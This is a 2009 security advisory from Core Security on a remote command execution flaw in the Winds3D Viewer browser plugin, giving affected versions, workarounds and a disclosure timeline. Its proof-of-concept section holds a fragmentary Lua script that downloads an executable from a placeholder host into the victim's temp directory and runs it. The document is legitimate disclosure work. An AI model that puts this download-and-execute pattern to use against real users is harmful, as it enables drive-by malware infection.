Awingsoft Awakening Winds3D Viewer remote command execution vulnerability

Core Security - CoreLabs

Awingsoft Awakening Winds3D Viewer remote command execution vulnerability

Advisory Information

Title: Awingsoft Awakening Winds3D Viewer remote command execution vulnerability
Advisory ID: CORE-2009-0519
Advisory URL:
Date published: 2009-07-08
Date of last update: 2009-07-08
Vendors contacted: Awingsoft
Release mode: User release

Vulnerability Information

Class: Remote command execution
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
Bugtraq ID: 35595
CVE Name: CVE-2009-2386

Vulnerability Description

Awingsoft's Awakening is a rapid application authoring tool for
efficiently creating interactive 3D content.
With this tool, you can easily create interactive 3D presentations,
animated 3D webs, brief films or games.

Awakening's Winds3D Viewer
, which runs as a plugin within most popular web browsers,
is vulnerable to a remotely exploitable arbitrary command execution
vulnerability which can be triggered by making the user visit a malicious link/website.

Vulnerable packages

  • Winds3D Viewer v3.5.0.0
  • Winds3D Viewer v3.0.0.5
  • Older versions are probably affected too, but were not checked.

Vendor Information, Solutions and Workarounds

The vendor did not provide fixes or workaround information. A possible
mitigation action would be to enable MIME type filtering in your
IDS/proxies and block Winds3D traffic:

As a workaround, vulnerable users can also avoid this flaw by
disabling the Winds3D Plugin in their web browsers:

Mozilla Firefox

  • Go to the Tools menu, and select Options...
  • Click on the Main tab
  • Click on the Manage Add-ons...
  • Disable Winds3D Plugin

Internet Explorer

  • Set the kill bit for control 17A54E7D-A9D4-11D8-9552-00E04CB09903 (as
    explained in


  • Browse opera:plugins
  • Look for "Winds3D Plugin for Mozilla"
  • Delete the associated file.

Please contact Awingsoft for further information, patches and workarounds.


This vulnerability was discovered and researched by Diego Juarez
from Core Security Technologies.

Technical Description / Proof of Concept Code


The vulnerability comes from the way the scripting interface exposes filesystem
access and in particular the way it implements the GetURL method:

GetURL(string URL)
Description: Open browser to visit assigned URL
returns: None

In the current implementation, calling GetURL will ultimately execute the equivalent
of calling ShellExecute(NULL, "open", URL, 0, 0, SW_SHOW);.
Note that the attacker only controls the file to open (execute),
but not the command line parameters.

This, however, coupled with the scripting interface's ability to download arbitrary
files to arbitrary paths constitutes a remotely exploitable arbitrary code execution
vulnerability which can be triggered by making the user visit a malicious link/website.

Proof of concept

The following script demonstrates the vulnerability.
It downloads a malicious binary file to the victim machine and then executes it.

-- download
require 'scripts\\websession'
require 'scripts\\webfile'
-- evil file to download
local szURL='http://somesite/exploit.exe'
-- setup download evil file from the web
local destfilename=GetTempFileName()                   -- we always want to download to the %TEMP% directory (write access = sure thing)      
destfilename=string.gsub(destfilename, ".tmp", ".exe") -- rename to something shellexecute will launch
local bytescount=0
while (readbytes>0) do
bytescount=bytescount + readbytes
-- close the descriptors
-- execute

Report Timeline

  • 2009-05-19:
    Core Security Technologies notifies Awingsoft of the vulnerability (no reply received).
  • 2009-06-29:

    Core notifies again Awingsoft of the vulnerability (no reply received).
  • 2009-07-08:

    Since Awingsoft did not respond any notification, Core decides to publish the advisory CORE-2009-0519
    as "User release".


Awingsoft's Awakening viewer (AKA Winds3D viewer)

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web


The contents of this advisory are copyright (c) 2009 Core Security Technologies and
(c) 2009 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at

Locally Exploitable: 
Remotely Exploitable: 
  • Request Info


Research Blog